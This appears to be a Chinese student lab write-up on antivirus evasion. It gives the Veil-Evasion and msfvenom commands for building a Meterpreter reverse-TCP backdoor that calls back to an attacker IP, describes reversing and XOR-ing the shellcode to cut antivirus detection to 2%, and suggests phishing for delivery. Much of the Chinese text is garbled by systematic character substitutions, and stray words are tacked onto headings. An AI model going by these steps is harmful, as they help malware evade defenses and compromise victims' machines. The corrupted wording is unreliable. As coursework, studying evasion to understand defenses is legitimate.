20145227鄢曼君《网络对抗》免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?python
- 基于特征:恶意代码中通常会有一段有较明显特征的代码也就是特征码,若是杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序看成恶意软件。
- 基于行为:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀毒软件会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是作什么?shell
- 免杀是一种能使病毒木马避免被杀毒软件查杀的技术。我的理解就是避免杀毒软件的查杀。
(3)免杀的基本方法有哪些?windows
- 加壳:经过加壳,让杀毒软件没法进行反汇编、逆向工程,进而没法分析代码。
- 使用免杀平台如
Veil-Evasion
等生成后门软件。
- 改变攻击行为,好比反弹式链接能大大减小被阻止查杀的风险;或者在正常应用软件中插入恶意代码来达到目的。
- 也能够本身编写恶意软件。
实践过程记录
免杀平台Veil-Evasion
生成后门软件
- Veil-Evasion是一个与Metasploit有点相似的软件,已经在kali虚拟机里。在终端下输入指令
veil-evasion
可打开软件,而后根据menu的提示依次键入如下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.168.50.130 //设置反弹链接IP
set LPORT 443 //设置反弹端口443
generate
5227
1
- 其中5227是生成的程序名,一共有一、二、3三种选择,通常选择1是默认配置。




- 打开靶机杀毒软件,把生成的5227.exe拷到靶机。发现被查杀,能够找回,而后添加信任。


- 在靶机上运行5227.exe,kali成功获取权限


利用shellcode编写后门程序的检测
- 在kali终端,执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.130 LPORT=443 -f c
,生成一个c语言格式的Shellcode数组.

- 将生成的代码从虚拟机里拷出来,用
Microsoft Visual Studio 2013
或者Visual C++ 6.0
进行编译运行生成可执行文件ymj.exe。
- 而后在kali下进入MSF打开监听进程,在靶机上运行可执行文件ymj.exe,kali成功获取权限.


- 咱们能够发现,利用shellcode编写后门程序相比经过msfvenom指令生成一个可执行文件而言,风险下降了很多,可是仍被定性为病毒文件,因此须要进一步修改代码。
尝试修改shellcode——将shellcode逆序
- 直接利用shellcode写的C语言程序仍是不能实现免杀,仍会被发现,因此咱们能够对这个数组作一些变化,好比将shellcode先进行逆序操做获得另一个数组,而后以后再把它逆序回来,将原数组的内容进行改变,这样在杀软检查时被发现的概率就减少了。以下图。


尝试第二次:将shellcode逆序和异或结合
- 若是将shellcode逆序和异或结合会不会免杀率会更高呢?理论上应该是这样,编写代码运行后,用VirSCAN.org进行检测,结果发现只有2%的软件能扫出来了。



实践总结与体会
- 作完此次实验,我对于网络安全的问题有了更深的体会。想一想以前一直以为只要安装好杀毒软件,按期杀毒、给电脑体检就能够了,然而咱们本身都能实现免杀,更不要说那些恶意想要攻击你电脑的人了,真的是防不胜防啊。在当今社会,到处离不开网络,所以咱们要时时刻刻提升安全防范意识,按期检查本身的电脑,防止别人恶意盗取利用本身的信息。但愿能够将本身学到的知识与实践相结合,帮助别人解决更多的问题。
离实战还缺些什么技术或步骤?
- 在实际应用中,咱们不可能这么容易将后门植入到别人的电脑,或许能够经过钓鱼网站之类的方法来实现。这点还须要咱们去思考,去探索。并且如今各类杀毒软件层出不穷,它们的病毒库在不断地更新,功能也在不断地完善,今天实现了免杀可能过段时间就失败了,因此还须要咱们根据漏洞本身写代码,而不是用软件来直接生成。